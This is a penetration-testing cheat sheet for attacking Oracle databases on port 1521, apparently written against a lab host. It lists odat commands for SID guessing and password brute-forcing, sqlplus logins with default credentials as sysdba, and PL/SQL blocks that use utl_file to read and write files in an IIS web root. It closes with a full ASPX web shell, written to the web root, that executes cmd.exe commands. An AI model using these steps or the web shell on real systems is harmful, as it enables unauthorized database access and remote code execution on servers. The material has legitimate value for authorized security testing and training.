Oracle SQL | 1521

  • Scan SIDs

odat sidguesser -s 10.10.10.82
  • Brute force Passwords

odat passwordguesser -s 10.10.10.82 -d XE --accounts-file /usr/share/odat/accounts/accounts.txt
  • Login to SQPLUS Database

## ------------------| Setup
sudo apt-get install oracle-instantclient-sqlplus
which sqlplus
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$ORACLE_HOME/lib
export PATH=$ORACLE_HOME/bin:$PATH

## ------------------| Login as user
sqlplus <USERNAME>/'<PASSWORD>'@<IP>:1521/XE

## ------------------| Login as superuser
sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba
  • SQLPLUSS Quarries

select * from session_privs;
select * from user_role_privs;
  • Read File

set serveroutput ON

declare
   f utl_file.file_type;
   s varchar(5000);
begin
   f := utl_file.fopen('/inetpub/wwwroot','iisstart.htm','R');
   utl_file.get_line(f,s);
   utl_file.fclose(f);
   dbms_output.put_line(s);
end;

# Hit enter then type '/' and  hit enter
  • Write File

declare
   f utl_file.file_type;
   s varchar(5000) := 'h4rithd was there';
begin
   f := utl_file.fopen('/inetpub/wwwroot','h4rith.txt','W');
   utl_file.put_line(f,s);
   utl_file.fclose(f);
end;

# Hit enter then type '/' and  hit enter
  • Write bind shell. (aspx)

declare
   f utl_file.file_type;
   s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button><asp:Label id="lblText" runat="server">Command:</asp:Label></form></body></HTML>';
begin
   f := utl_file.fopen('/inetpub/wwwroot','h4rithd.aspx','W');
   utl_file.put_line(f,s);
   utl_file.fclose(f);
end;

# Hit enter then type '/' and  hit enter

Last updated